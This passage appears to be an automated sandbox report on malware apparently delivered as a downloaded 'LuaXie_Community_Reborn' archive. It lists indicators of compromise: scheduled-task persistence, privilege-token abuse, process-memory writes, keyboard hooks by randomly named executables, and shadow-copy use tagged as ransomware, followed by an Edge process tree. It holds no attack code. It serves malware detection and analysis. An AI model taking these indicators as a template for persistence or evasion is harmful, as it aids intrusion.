File opened for modification	C:\Users\Admin\Downloads\7z2401.msi:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\LuaXie_Community_Reborn.zip:Zone.Identifier	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 28 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4852	schtasks.exe
1712	schtasks.exe
7104	schtasks.exe
7060	schtasks.exe
3892	schtasks.exe
2032	schtasks.exe
408	schtasks.exe
1076	schtasks.exe
2484	schtasks.exe
4880	schtasks.exe
7100	schtasks.exe
2808	schtasks.exe
5184	schtasks.exe
5640	schtasks.exe
5380	schtasks.exe
6580	schtasks.exe
5228	schtasks.exe
5604	schtasks.exe
6852	schtasks.exe
6560	schtasks.exe
6688	schtasks.exe
1452	schtasks.exe
5684	schtasks.exe
816	schtasks.exe
5128	schtasks.exe
4968	schtasks.exe
4360	schtasks.exe
2364	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
400	msedge.exe
400	msedge.exe
4100	msedge.exe
4100	msedge.exe
748	msedge.exe
748	msedge.exe
3580	identity_helper.exe
3580	identity_helper.exe
2368	msedge.exe
2368	msedge.exe
2492	msedge.exe
2492	msedge.exe
844	msedge.exe
844	msedge.exe
844	msedge.exe
844	msedge.exe
5044	msiexec.exe
5044	msiexec.exe
424	msedge.exe
424	msedge.exe
2992	setup.exe
2992	setup.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
6056	g05IeRY2k6h_YU1jQKYI42Os.exe
6056	g05IeRY2k6h_YU1jQKYI42Os.exe
1160	taskmgr.exe
6036	_IkhE8kg8imyNZJTaxRN8zjT.exe
6036	_IkhE8kg8imyNZJTaxRN8zjT.exe
6136	Ji3_yXHZks9YYsB3F_VelBMi.exe
6136	Ji3_yXHZks9YYsB3F_VelBMi.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
6000	JawJBBgyS9bEy56N8RCGbb_R.exe
6000	JawJBBgyS9bEy56N8RCGbb_R.exe
1160	taskmgr.exe
6572	MSBuild.exe
6572	MSBuild.exe
1160	taskmgr.exe
6216	powershell.exe
6216	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5548	taskmgr.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

pid	Process
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	1464	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1464	AUDIODG.EXE
Token: SeShutdownPrivilege	2876	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2876	msiexec.exe
Token: SeSecurityPrivilege	5044	msiexec.exe
Token: SeCreateTokenPrivilege	2876	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2876	msiexec.exe
Token: SeLockMemoryPrivilege	2876	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2876	msiexec.exe
Token: SeMachineAccountPrivilege	2876	msiexec.exe
Token: SeTcbPrivilege	2876	msiexec.exe
Token: SeSecurityPrivilege	2876	msiexec.exe
Token: SeTakeOwnershipPrivilege	2876	msiexec.exe
Token: SeLoadDriverPrivilege	2876	msiexec.exe
Token: SeSystemProfilePrivilege	2876	msiexec.exe
Token: SeSystemtimePrivilege	2876	msiexec.exe
Token: SeProfSingleProcessPrivilege	2876	msiexec.exe
Token: SeIncBasePriorityPrivilege	2876	msiexec.exe
Token: SeCreatePagefilePrivilege	2876	msiexec.exe
Token: SeCreatePermanentPrivilege	2876	msiexec.exe
Token: SeBackupPrivilege	2876	msiexec.exe
Token: SeRestorePrivilege	2876	msiexec.exe
Token: SeShutdownPrivilege	2876	msiexec.exe
Token: SeDebugPrivilege	2876	msiexec.exe
Token: SeAuditPrivilege	2876	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2876	msiexec.exe
Token: SeChangeNotifyPrivilege	2876	msiexec.exe
Token: SeRemoteShutdownPrivilege	2876	msiexec.exe
Token: SeUndockPrivilege	2876	msiexec.exe
Token: SeSyncAgentPrivilege	2876	msiexec.exe
Token: SeEnableDelegationPrivilege	2876	msiexec.exe
Token: SeManageVolumePrivilege	2876	msiexec.exe
Token: SeImpersonatePrivilege	2876	msiexec.exe
Token: SeCreateGlobalPrivilege	2876	msiexec.exe
Token: SeBackupPrivilege	836	vssvc.exe
Token: SeRestorePrivilege	836	vssvc.exe
Token: SeAuditPrivilege	836	vssvc.exe
Token: SeBackupPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
2876	msiexec.exe
2876	msiexec.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
4100	msedge.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe
1160	taskmgr.exe

Suspicious use of SetWindowsHookEx 56 IoCs

pid	Process
2992	setup.exe
4916	iBefrShWADsAuNAyKJA64YlZ.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
6064	eRYSJ5alIHUeFEI0CjvmJSzf.exe
6056	g05IeRY2k6h_YU1jQKYI42Os.exe
5984	R42wU6T6MxPmzVCvyCOtTjfa.exe
5452	iBefrShWADsAuNAyKJA64YlZ.tmp
6572	MSBuild.exe
6716	Install.exe
6976	audionormalizer32_64.exe
7068	audionormalizer32_64.exe
7120	Install.exe
6476	KECBKKEBKE.exe
7032	RegAsm.exe
5996	BFBGHDGCFH.exe
4880	RegAsm.exe
2856	IIEHJEHDBG.exe
1216	RegAsm.exe
2288	BitLockerToGo.exe
5004	cmd.exe
5528	01e2b36077.exe
5528	01e2b36077.exe
5548	taskmgr.exe
4656	setup.exe
1504	xwQalmpr7CbniCocsR_G0TvU.exe
7064	eNjpSVgSlKmW28l0r0QUi5iz.exe
6516	GAi5F8yEoSer2o9iBJ35zljO.exe
6748	LW8L1gqHwARCQ66f1Ucz09zz.exe
6748	LW8L1gqHwARCQ66f1Ucz09zz.exe
6212	eNjpSVgSlKmW28l0r0QUi5iz.tmp
4992	MSBuild.exe
3480	Install.exe
408	Install.exe
3368	OpenWith.exe
2256	OpenWith.exe
6828	OpenWith.exe
2100	BitLockerToGo.exe
2064	setup.exe
5332	setup.exe
3732	setup.exe
696	setup.exe
3944	setup.exe
6512	setup.exe
5476	setup.exe
4108	kOAjJOg6jYDP8gUBcAzGtLhT.exe
896	D8G20MHKbHs7HQQXvUGZDVTe.exe
896	D8G20MHKbHs7HQQXvUGZDVTe.exe
3168	HAjiGKh3u0rrhO3KOoxjROLq.exe
4716	tDhygA7GyAjlivke6QcyeUZC.exe
4540	MSBuild.exe
3724	tDhygA7GyAjlivke6QcyeUZC.tmp
5444	Install.exe
4836	Install.exe
872	BitLockerToGo.exe
3216	LogonUI.exe
3216	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 3648	4100	msedge.exe	76
PID 4100 wrote to memory of 3648	4100	msedge.exe	76
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 3180	4100	msedge.exe	77
PID 4100 wrote to memory of 400	4100	msedge.exe	78
PID 4100 wrote to memory of 400	4100	msedge.exe	78
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79
PID 4100 wrote to memory of 2744	4100	msedge.exe	79

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://google
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff80d903cb8,0x7ff80d903cc8,0x7ff80d903cd8
  2⤵
  PID:3648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1916 /prefetch:2
  2⤵
  PID:3180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
  2⤵
  PID:2744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:4548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:4932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4916 /prefetch:1
  2⤵
  PID:2276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:1
  2⤵
  PID:3896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3236 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:748
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5416 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4084 /prefetch:1
  2⤵
  PID:3980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5164 /prefetch:1
  2⤵
  PID:4536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
  2⤵
  PID:4648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1
  2⤵
  PID:4868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:3652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
  2⤵
  PID:3476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
  2⤵
  PID:4496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5744 /prefetch:1
  2⤵
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5032 /prefetch:8
  2⤵
  PID:2076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3284 /prefetch:8
  2⤵
  PID:3944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3892 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:2368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2004 /prefetch:1
  2⤵
  PID:1768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
  2⤵
  PID:916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3000 /prefetch:1
  2⤵
  PID:1660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1704 /prefetch:1
  2⤵
  PID:3740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:2608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1804,134069221759357861,9410599867238240555,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:1
  2⤵
  PID:3196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
